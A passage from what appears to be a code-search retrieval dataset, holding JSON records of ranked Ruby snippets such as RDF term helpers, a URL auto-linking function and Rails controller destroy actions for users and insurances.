to_quad.map {|t| t.respond_to?(:terms) ? t.terms : t}.flatten.compact\n end", "title": "" }, { "docid": "d200990cd2fa15600c22e0348c89dfd3", "score": "0.5355368", "text": "def to_rdf\n self\n end", "title": "" }, { "docid": "d200990cd2fa15600c22e0348c89dfd3", "score": "0.5355368", "text": "def to_rdf\n self\n end", "title": "" }, { "docid": "50733489ad2cf00a34b8337c65360f8a", "score": "0.5345959", "text": "def term\n walking\n end", "title": "" }, { "docid": "04cff9dcfd9cddb824af5494295c1af4", "score": "0.5345457", "text": "def set_Term(value)\n set_input(\"Term\", value)\n end", "title": "" }, { "docid": "371664ee728a5a8328c114acae278701", "score": "0.5340979", "text": "def termlist(docid)\n Xapian._safelyIterate(self._dangerous_termlist_begin(docid),\n self._dangerous_termlist_end(docid)) { |item|\n Xapian::Term.new(item.term, item.wdf, item.termfreq)\n }\n end", "title": "" }, { "docid": "9405dd8668e1726ce64ed36f16dc5ff0", "score": "0.53268814", "text": "def stem\n\t\treturn Linguistics::EN::Stemmer.stemmer.stem( self.obj.to_s )\n\tend", "title": "" }, { "docid": "76255986086d3e3bd16ff55f066a3f58", "score": "0.5323798", "text": "def createTerm(termString,termType,objLanguage=nil,objDatatype=nil)\n #puts \"createTerm(#{termString}, #{termType}, ...)\" if ::RdfContext::debug?\n case termType\n when \"L\"\n @literalCache[[termString, objLanguage, objDatatype]] ||= Literal.n3_encoded(termString, objLanguage, objDatatype)\n when \"F\"\n @otherCache[[termType, termString]] ||= QuotedGraph(:identifier => URIRef(termString), :store => self)\n when \"B\"\n @bnodeCache[termString] ||= begin\n bn = BNode.new\n bn.identifier = termString\n bn\n end\n when \"U\"\n @uriCache[termString] || URIRef.new(termString)\n# when \"V\"\n else\n raise StoreException.new(\"Unknown termType: #{termType}\")\n end\n end", "title": "" }, { "docid": "725285f96df1ee83741582f3a9b598b9", "score": "0.5319848", "text": "def glossary_term_show(account_id, glossary_id, id)\n path = sprintf(\"/api/v2/accounts/%s/glossaries/%s/terms/%s\", account_id, glossary_id, id)\n data_hash = {}\n post_body = nil\n \n reqHelper = PhraseApp::ParamsHelpers::BodyTypeHelper.new(data_hash, post_body)\n rc, err = PhraseApp.send_request(@credentials, \"GET\", path, reqHelper.ctype, reqHelper.body, 200)\n if err != nil\n return nil, err\n end\n \n return PhraseApp::ResponseObjects::GlossaryTerm.new(JSON.load(rc.body)), err\n end", "title": "" }, { "docid": "a9f607324d569fbe9883d3c232fc1a54", "score": "0.53113115", "text": "def terms\n operand_name = self.operand.to_plain_s if self.operand.respond_to?(:to_plain_s)\n operand_name ||= self.operand.name if self.operand.respond_to?(:name)\n operand_name ||= self.operand.to_s\n \"%s %s\" % [self.operator.gsub('_', ' ').gsub('?', ''), operand_name]\n end", "title": "" }, { "docid": "ecebc101d4ebc559a80b12ddf4f4fb36", "score": "0.530564", "text": "def inspect\n sprintf(\"#<%s:%#0x ID:%s>\", Term.to_s, self.object_id, self.to_s)\n end", "title": "" }, { "docid": "82450e12aea8c7fc7af109fffc6b4fc0", "score": "0.5304672", "text": "def term \n type = factor\n if type\n return type\n else\n t_prime(\"\")\n end\n end", "title": "" }, { "docid": "9a220eab6cfd7b06ff85b4ddeb6a13cf", "score": "0.5304541", "text": "def generate_term_list\n Indexer.instance.generate_term_list(self.body)\n end", "title": "" }, { "docid": "e2ede17065ceae47bc5df6fad850ec60", "score": "0.5286302", "text": "def transform_term\n terms = {}\n @productions.each do |p|\n next unless p.length == 1 && terminal?(p[0]) && Array(self[p.name]).length == 1\n\n terms[p[0]] = p.name\n end\n\n @productions.each do |p|\n next unless p.length > 1\n\n new_rhs = []\n p.rhs.each do |z|\n if terms.include?(z)\n new_rhs << terms[z]\n elsif nonterminal?(z)\n new_rhs << z\n else\n name = \"N\\\"#{z}\\\"\"\n name = \"N#{z}\".to_sym if z.is_a?(Symbol) || !z.to_s.match(/[A-Za-z0-9_]+/).nil?\n name = unique_name(:N) if symbol?(name)\n add_production(name, z, generated: true)\n new_rhs << GSymbol.new(name)\n terms[z] = name\n end\n end\n\n @recompute_nff unless p.rhs == new_rhs\n p.rhs = new_rhs\n end\n end", "title": "" }, { "docid": "f5c01e07c9f656aad874385f0924e7f2", "score": "0.5275104", "text": "def term(opts)\n setup_query('term', opts)\n end", "title": "" }, { "docid": "6e325b7ff28afd336d5c219f0fa00b3d", "score": "0.5274851", "text": "def fina_term\n self.instance_of?(TranchePeggedItem) ? self.tranche.financial_term : self.financial_term\n end", "title": "" }, { "docid": "41102daa52e39a2790e483d2869dfaaf", "score": "0.52730596", "text": "def last_term\n entry = entries.last\n entry ? entry.term : nil\n end", "title": "" } ]
507d53d4ce9b5ea5b58c5e8b7464318f
I feel like this could be so much simpler...
[ { "docid": "670c9989c3d3b750a1b07dfa4df8521b", "score": "0.0", "text": "def replace_urls(body)\n unless body.blank?\n urls = URI.extract(body, [\"http\", \"https\"])\n unless urls.empty?\n split_body = body.split(\"\\n\")\n split_body.each_with_index do |line, i| # Map didn't want to work here :(\n if line =~ URI::regexp([\"https\", \"http\"])\n split_body[i] = auto_link_urls(CGI.escapeHTML(line), data: { no_turbolink: true }) {|t| truncate(t, length: 50)}\n else\n split_body[i] = CGI.escapeHTML(line)\n end\n end\n body = split_body.join(\"\\n\").html_safe\n end\n return body\n end\n end", "title": "" } ]
[ { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.63313246", "text": "def desired; end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.5953438", "text": "def anchored; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5933206", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5933206", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5933206", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5933206", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5933206", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.5933206", "text": "def bodystmt; end", "title": "" }, { "docid": "794a198d95cf296afde54486d8c4e262", "score": "0.5930092", "text": "def avail_out=(*) end", "title": "" }, { "docid": "3caf4c824a6d6a4a5616c13fcab418da", "score": "0.57534015", "text": "def applied; end", "title": "" }, { "docid": "1151221aa9457e5cad317e4fec922758", "score": "0.5752474", "text": "def adjugate; end", "title": "" }, { "docid": "5928f8efe9c6c2d408ea21a4cdce83ad", "score": "0.5730958", "text": "def preliminary?; end", "title": "" }, { "docid": "3ae137b1a40ff3aae4f3cbb2b6082797", "score": "0.5722781", "text": "def reaper; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.57107764", "text": "def for; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.57107764", "text": "def for; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.57107764", "text": "def for; end", "title": "" }, { "docid": "7ec57c3874853e50086febdbdd3221bf", "score": "0.5677932", "text": "def wedding; end", "title": "" }, { "docid": "2fbd1141a5d3803251f00ea5c01e38ba", "score": "0.56238395", "text": "def extract; end", "title": "" }, { "docid": "2fbd1141a5d3803251f00ea5c01e38ba", "score": "0.56238395", "text": "def extract; end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.5564351", "text": "def telegraphical()\n end", "title": "" }, { "docid": "5ffd4221c0adbb90a19d26836dc1440b", "score": "0.5558909", "text": "def parter; end", "title": "" }, { "docid": "8d1d77531cce0d12539ad149eebad454", "score": "0.5532012", "text": "def sub_from; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.552242", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.552242", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.552242", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.552242", "text": "def preparable; end", "title": "" }, { "docid": "bfc59ba4069006df84cd4e7d17c175e6", "score": "0.55197084", "text": "def first_fixed; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.549081", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.549081", "text": "def used; end", "title": "" }, { "docid": "8d0e128ad87cd20a86507c09c46a6f67", "score": "0.5448569", "text": "def termitidae()\n end", "title": "" }, { "docid": "0e51b7bc662b6e57fc8b575fb9fcba40", "score": "0.5446818", "text": "def avail_out(*) end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.54441094", "text": "def advanced; end", "title": "" }, { "docid": "67081eb3c98dc9ab87bd978f73a10e81", "score": "0.54441094", "text": "def advanced; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "3fff7ea9b6967fb0af70c64a4d13faae", "score": "0.5428819", "text": "def parts; end", "title": "" }, { "docid": "34112de52c0c813ee37be3cb2c235d6a", "score": "0.54212", "text": "def apply; end", "title": "" }, { "docid": "34112de52c0c813ee37be3cb2c235d6a", "score": "0.54212", "text": "def apply; end", "title": "" }, { "docid": "3fe16723cfe073a33d3a2398f331e395", "score": "0.5403308", "text": "def transformations; end", "title": "" }, { "docid": "3fe16723cfe073a33d3a2398f331e395", "score": "0.5403308", "text": "def transformations; end", "title": "" }, { "docid": "baabe5bb658b17a85353fb66fdbbf873", "score": "0.53870153", "text": "def extended; end", "title": "" }, { "docid": "b22b55ac75784dc3a9bcb40c0529af5d", "score": "0.5380879", "text": "def ss; end", "title": "" }, { "docid": "b22b55ac75784dc3a9bcb40c0529af5d", "score": "0.5380879", "text": "def ss; end", "title": "" }, { "docid": "5023dd8bfd6e70f0094ed299604fe8d3", "score": "0.5356159", "text": "def havings=(_arg0); end", "title": "" }, { "docid": "5023dd8bfd6e70f0094ed299604fe8d3", "score": "0.5356159", "text": "def havings=(_arg0); end", "title": "" }, { "docid": "5023dd8bfd6e70f0094ed299604fe8d3", "score": "0.5356159", "text": "def havings=(_arg0); end", "title": "" }, { "docid": "995b915898e500cc112b42e009bf205d", "score": "0.5349017", "text": "def nwo; end", "title": "" }, { "docid": "995b915898e500cc112b42e009bf205d", "score": "0.5349017", "text": "def nwo; end", "title": "" }, { "docid": "dd634988bef3cbda8a94486413375360", "score": "0.5328153", "text": "def lookup; end", "title": "" }, { "docid": "dd634988bef3cbda8a94486413375360", "score": "0.5328153", "text": "def lookup; end", "title": "" }, { "docid": "85870341b530cc54336e2f1f78415cce", "score": "0.5328055", "text": "def rest; pos; end", "title": "" }, { "docid": "c07313e471ab5981041ecc64c80f3f01", "score": "0.5317186", "text": "def simplified; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5304956", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5304956", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5304956", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5304956", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5304956", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5304956", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.5304956", "text": "def loc; end", "title": "" }, { "docid": "8672de13a1a44a1af10d30ff911a50ca", "score": "0.53048617", "text": "def perp; end", "title": "" }, { "docid": "8672de13a1a44a1af10d30ff911a50ca", "score": "0.53048617", "text": "def perp; end", "title": "" }, { "docid": "99837c89d79de120580d8c11ec1a227a", "score": "0.5303813", "text": "def m214; 14; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.52980953", "text": "def operations; end", "title": "" }, { "docid": "2dbabd0eeb642c38aad852e40fc6aca7", "score": "0.52980953", "text": "def operations; end", "title": "" }, { "docid": "26da328e8cf814fdc197fd2d301c3d2b", "score": "0.5293911", "text": "def flipx\r\n end", "title": "" }, { "docid": "4e3972712201f930425a392caa47fcd3", "score": "0.52909195", "text": "def composite?; end", "title": "" }, { "docid": "18b70bef0b7cb44fc22c66bf7965c231", "score": "0.52850527", "text": "def first; end", "title": "" }, { "docid": "18b70bef0b7cb44fc22c66bf7965c231", "score": "0.52850527", "text": "def first; end", "title": "" }, { "docid": "18b70bef0b7cb44fc22c66bf7965c231", "score": "0.52850527", "text": "def first; end", "title": "" }, { "docid": "18b70bef0b7cb44fc22c66bf7965c231", "score": "0.52850527", "text": "def first; end", "title": "" }, { "docid": "0212351345358772373f549b97821c62", "score": "0.5282515", "text": "def regular?; end", "title": "" }, { "docid": "792be6eadacebdee265be975baeda2c7", "score": "0.52818084", "text": "def function; end", "title": "" }, { "docid": "b54c36b38e505bddc56a1497afe882f9", "score": "0.527207", "text": "def min_lens; end", "title": "" }, { "docid": "5cdb4d7bb82aec52a912b8f68a6c157b", "score": "0.5266544", "text": "def getc(*) end", "title": "" }, { "docid": "153820cc7732d712d37a3bd65b4100c0", "score": "0.5262035", "text": "def preliminary_items; end", "title": "" }, { "docid": "4fe655da88e61d28e8b9a9ed964af838", "score": "0.5261378", "text": "def imprensa\n\t\t\n\tend", "title": "" }, { "docid": "a7e46056aae02404670c78192ffb8f3f", "score": "0.52450484", "text": "def original_result; end", "title": "" }, { "docid": "43e7fb9a2a5d12f3e8c5dca66a74dc8f", "score": "0.5238898", "text": "def humans; end", "title": "" }, { "docid": "43e7fb9a2a5d12f3e8c5dca66a74dc8f", "score": "0.5238898", "text": "def humans; end", "title": "" }, { "docid": "43e7fb9a2a5d12f3e8c5dca66a74dc8f", "score": "0.5238898", "text": "def humans; end", "title": "" }, { "docid": "d4b51441e9803335f40f611467a77896", "score": "0.5230842", "text": "def returned; end", "title": "" }, { "docid": "d4b51441e9803335f40f611467a77896", "score": "0.5230842", "text": "def returned; end", "title": "" }, { "docid": "752e2844a9f276ee5cfa6836def131a9", "score": "0.52226067", "text": "def tld; end", "title": "" } ]
eaa07202d830ddb67a9ee824af094eb7
DELETE /user_insurances/1 DELETE /user_insurances/1.json
[ { "docid": "1e9243b9d2de4cc46416488fdf0933ad", "score": "0.7303419", "text": "def destroy\n @user_insurance.destroy\n respond_to do |format|\n format.html { redirect_to user_insurances_url, notice: 'User insurance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "a7f5d572d6152be9ad044b318fa876fb", "score": "0.703469", "text": "def destroy\n @user_interest = UserInterest.find(params[:id])\n @user_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to user_interests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e4bf3176b7095c76c45082925eeaa22a", "score": "0.69573087", "text": "def destroy\n @insurance = Insurance.find(params[:id])\n @insurance.destroy\n\n respond_to do |format|\n format.html { redirect_to insurances_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd49c5ec16db01bdb1fb53d205fd6ef3", "score": "0.69293034", "text": "def destroy\n @accident_insurance.destroy\n respond_to do |format|\n format.html { redirect_to accident_insurances_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b23e598165686b31c7991465b08f262e", "score": "0.6870923", "text": "def destroy\n\n if !params[\"user\"][\"interests\"].nil?\n\n UserInterest.find_by(user_id: current_user.id, interest_id: params[\"user\"][\"interests\"][\"id\"]).delete\n\n render json: {\n interests: current_user.interests\n }\n \n end\n\n end", "title": "" }, { "docid": "8e24381563b35e8b1d35f1b565a4bc62", "score": "0.6845728", "text": "def destroy\n @insured_user.destroy\n respond_to do |format|\n format.html { redirect_to insured_users_url, notice: 'Insured user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c26ce29e83433a2ea5d21d716e1fb7c8", "score": "0.68332744", "text": "def destroy\n @user_involvement.destroy\n respond_to do |format|\n format.html { redirect_to user_involvements_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3c94c65f4aaf6391bb63cd54fd178c69", "score": "0.6798991", "text": "def insurance\n @insurance = Insurance.find(params[:id]).destroy\n render status: 200, template: 'api/v1/insurances/show'\n end", "title": "" }, { "docid": "ed393c76df6f7bc8d28e4f18116b2c2c", "score": "0.67378277", "text": "def destroy\n @concertsuser = ConcertsUser.find(params[:id])\n @concertsuser.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0f8fe509f86666f4aa81f5e34b616411", "score": "0.67162174", "text": "def destroy\n @insured_user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "07d9b6976be4612bfd252958b44a2d16", "score": "0.6611368", "text": "def destroy\n # Get the correct user record by its ID number\n @user = User.find(params[:user_id])\n # Get the correct infraction by its ID number\n @infraction = Infraction.find(params[:id])\n # Destroy the infraction record\n @infraction.destroy!\n end", "title": "" }, { "docid": "4a7b58a8e237ee7175ee653a847625a0", "score": "0.6607365", "text": "def destroy\n @insurance_type = InsuranceType.find(params[:id])\n @insurance_type.destroy\n\n respond_to do |format|\n format.html { redirect_to insurance_types_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "015c288f5fa12d9b591f86c418d5090f", "score": "0.656894", "text": "def destroy\n @user_to_interest.destroy\n respond_to do |format|\n format.html { redirect_to user_to_interests_url, notice: 'User to interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a9ce2f7546acd15bd886f7ca28140597", "score": "0.6564628", "text": "def destroy\n @insight = Insight.find(params[:id])\n @insight.destroy\n\n respond_to do |format|\n format.html { redirect_to insights_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "89f75932b74ffb3224a3b7a574a953b0", "score": "0.65445036", "text": "def destroy\n @user_expence = UserExpence.find(params[:id])\n @user_expence.destroy\n\n respond_to do |format|\n format.html { redirect_to user_expences_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4146773eb83c11746bb9d9d5fd9a7671", "score": "0.65201795", "text": "def destroy\n @api_v1_initiative_user.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_initiative_users_url, notice: 'Initiative user was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b9d1720503e6642f728ffa33731bca3b", "score": "0.65184486", "text": "def destroy\n @ref_insurance.destroy\n respond_to do |format|\n format.html { redirect_to ref_insurances_url, notice: 'Ref insurance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fd17f61cbba223da7750a4d8c90fc58d", "score": "0.6495565", "text": "def destroy\n @user = User.find(params[:user_id])\n @expense = @user.expenses.find(params[:id])\n @expense.destroy\n respond_to do |format|\n format.html { redirect_to user_path(@user), notice: 'Expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "31be2fbd2b5aedc5e7088866cdb5f8a3", "score": "0.6493524", "text": "def delete_user_data(user_id)\n # Define a path referencing the user data using the user_id\n path = \"/d2l/api/lp/#{$lp_ver}/users/#{user_id}\" # setup user path\n _delete(path)\n puts '[+] User data deleted successfully'.green\nend", "title": "" }, { "docid": "01fd7491b222fa089329b228409b0d3d", "score": "0.6489715", "text": "def destroy\n @user = User.find(params[:id])\n @anuncios = Anuncio.find_by_user_id(@user.id)\n @user.anuncios.each{ |anuncio| anuncio.destroy}\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to anuncios_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d2ded696485254eeaba9a23af4d3be8", "score": "0.64753205", "text": "def destroy\n @insurance_type.destroy\n respond_to do |format|\n format.html { redirect_to insurance_types_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c9b810308cc3f66b4833b3dad4c510ff", "score": "0.6453971", "text": "def destroy\n @user_interessado.destroy\n respond_to do |format|\n format.html { redirect_to user_interessados_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ef5968e9bb1043c4eeaeffc23f4620a4", "score": "0.6449227", "text": "def destroy\n @user = User.find_by(id: params[:user_id])\n @manholecover = Manholecover.find(params[:id])\n authorize! :destroy, @manholecover\n @manholecover.delete\n respond_to do |format|\n format.html { redirect_to user_manholecovers_path, notice: 'Manholecover was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d41f4178104cd8b1bea725903ae2317d", "score": "0.6445532", "text": "def destroy\n @insight.destroy\n respond_to do |format|\n format.html { redirect_to insights_url, notice: 'Insight was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4db31711dcc6d7983c9ba5a070d33098", "score": "0.64384305", "text": "def destroy\n @income = Income.find(params[:id])\n @income.destroy\n\n respond_to do |format|\n format.html { redirect_to incomes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4db31711dcc6d7983c9ba5a070d33098", "score": "0.64384305", "text": "def destroy\n @income = Income.find(params[:id])\n @income.destroy\n\n respond_to do |format|\n format.html { redirect_to incomes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5fa37b7e8f9024a19f0717ffc8ff3aba", "score": "0.6426209", "text": "def destroy\n @api_v1_user_reward.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_user_rewards_url, notice: 'User reward was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5c181505ac0deedddfba684db419e428", "score": "0.6424714", "text": "def delete\n render json: Own.delete(params[\"id\"])\n end", "title": "" }, { "docid": "8905dedecc037bc55b7bc6ffe91a9b9b", "score": "0.64147913", "text": "def destroy\n @user_rk1 = UserRk1.find(params[:id])\n @user_rk1.destroy\n\n respond_to do |format|\n format.html { redirect_to user_rk1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "276ae52cd0d008a744e5124fff32c978", "score": "0.641339", "text": "def destroy\n @user_proficiency.destroy\n respond_to do |format|\n format.html { redirect_to user_proficiencies_url, notice: 'User proficiency was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79b9331ba8c3bd93b590f40537b6d2bb", "score": "0.6409455", "text": "def destroy\n @interest.destroy\n respond_to do |format|\n format.html { redirect_to user_person_path(the_user, the_person), notice: 'Interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "184da7ffae8985dd57d5dcc85145a0f6", "score": "0.64034325", "text": "def destroy\n @user_1 = User1.find(params[:id])\n @user_1.destroy\n\n respond_to do |format|\n format.html { redirect_to user_1s_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "886e21c5588fc5c2cf26ea3c2d3223a0", "score": "0.64018047", "text": "def destroy\n@FInsurance.destroy\n respond_to do |format|\n format.html { redirect_to insurances_url, notice: 'Insurance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2b0e81abc56a58b014a5836a96f1638c", "score": "0.63943577", "text": "def destroy\n @indulgence.destroy\n respond_to do |format|\n format.html { redirect_to indulgences_url, notice: 'Indulgence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "23dfd87924927457b30396b620979f5f", "score": "0.6390072", "text": "def destroy\n @jsonuserdata.destroy\n respond_to do |format|\n format.html { redirect_to jsonuserdata_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f8f0c165532b1133b6f25d5a69531b69", "score": "0.63876915", "text": "def destroy\n @user_competence.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a9d3dd306c464717c4301bc317a56c74", "score": "0.6386659", "text": "def destroy\n @user_ingredient.destroy\n respond_to do |format|\n format.html { redirect_to user_ingredients_url, notice: 'User ingredient was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "77aa1f9b98ccf5d6f8bf09cc57189ca7", "score": "0.6384699", "text": "def destroy\n @user_cover.destroy\n respond_to do |format|\n format.html { redirect_to user_covers_url, notice: 'User cover was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6ee4ca0405dcb86aa7408006b6d5208e", "score": "0.63720036", "text": "def destroy\n @periodic_income.destroy\n respond_to do |format|\n format.html { redirect_to profile_path(@periodic_income.profile), notice: 'Periodic income was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47a21f1095730d24ed4fb5dbb5e6c243", "score": "0.6370136", "text": "def remove_user\n query_api \"/rest/user\", nil, \"DELETE\"\n end", "title": "" }, { "docid": "b40d512a1e330645ace6434a36b1a0fe", "score": "0.63575554", "text": "def destroy\n @inspections_neurologist = Inspections::Neurologist.find(params[:id])\n @inspections_neurologist.destroy\n\n respond_to do |format|\n format.html { redirect_to inspections_neurologists_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "74f571ada66f3dcce468fd0ae24a58d5", "score": "0.63562196", "text": "def destroy\n @user1 = User1.find(params[:id])\n @user1.destroy\n\n respond_to do |format|\n format.html { redirect_to user1s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c53d0c8b587a8e2dea4ab0571c27ffa7", "score": "0.635127", "text": "def destroy\n @user_sim_datum.destroy\n respond_to do |format|\n format.html { redirect_to user_sim_data_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "50196c0b5827d2e60db51073eca353c1", "score": "0.63469905", "text": "def delete_user_with_request(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .delete()\n .go()\n end", "title": "" }, { "docid": "182545a45c91f56577e4d982a2163076", "score": "0.6334326", "text": "def destroy\n # @api_v1_user.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "47f4af5db43219f889bf65be845330a6", "score": "0.6333655", "text": "def destroy\n @user_profile = UserProfile.find(params[:id])\n @user_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to user_profiles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47f4af5db43219f889bf65be845330a6", "score": "0.6333655", "text": "def destroy\n @user_profile = UserProfile.find(params[:id])\n @user_profile.destroy\n\n respond_to do |format|\n format.html { redirect_to user_profiles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c42d31265b75cf50bdecd0482902613a", "score": "0.63255465", "text": "def destroy\n @income.destroy\n respond_to do |format|\n format.html { redirect_to incomes_url, notice: 'Income was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0e7795889578e9ecd994bec1608bd40c", "score": "0.6324411", "text": "def destroy\n @accident = Accident.find(params[:id])\n @accident.destroy\n\n respond_to do |format|\n format.html { redirect_to accidents_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b95213ef54be2f6097807820423a0a13", "score": "0.63227946", "text": "def destroy\n # @user.profile.destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "69dc1a9cef44e2d210c82458f2b1850b", "score": "0.63154465", "text": "def destroy\n @benefit_incident.destroy\n respond_to do |format|\n format.html { redirect_to benefit_incidents_path }\n format.json { head 